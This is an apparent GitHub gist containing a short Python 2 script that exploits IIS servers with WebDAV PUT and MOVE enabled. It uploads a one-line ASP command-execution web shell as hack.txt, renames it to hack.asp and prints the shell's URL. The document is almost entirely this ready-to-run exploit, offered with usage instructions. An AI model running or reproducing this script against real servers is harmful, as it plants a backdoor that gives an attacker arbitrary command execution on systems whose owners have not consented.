Created
July 29, 2014 13:56
-
-
Save lijiejie/3eb6c4a1db9b3fe3c59a to your computer and use it in GitHub Desktop.
IIS put File
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- encoding:utf-8 -*- | |
''' | |
IIS put file From http://www.lijiejie.com | |
Usage: | |
iisPUT.py www.example.com:8080 | |
''' | |
import httplib | |
import sys | |
try: | |
conn = httplib.HTTPConnection(sys.argv[1]) | |
conn.request(method='OPTIONS', url='/') | |
headers = dict(conn.getresponse().getheaders()) | |
if headers.get('server', '').find('Microsoft-IIS') < 0: | |
print 'This is not an IIS web server' | |
if 'public' in headers and \ | |
headers['public'].find('PUT') > 0 and \ | |
headers['public'].find('MOVE') > 0: | |
conn.close() | |
conn = httplib.HTTPConnection(sys.argv[1]) | |
# PUT hack.txt | |
conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' ) | |
conn.close() | |
conn = httplib.HTTPConnection(sys.argv[1]) | |
# mv hack.txt to hack.asp | |
conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'}) | |
print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp' | |
else: | |
print 'Server not vulnerable' | |
except Exception,e: | |
print 'Error:', e |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment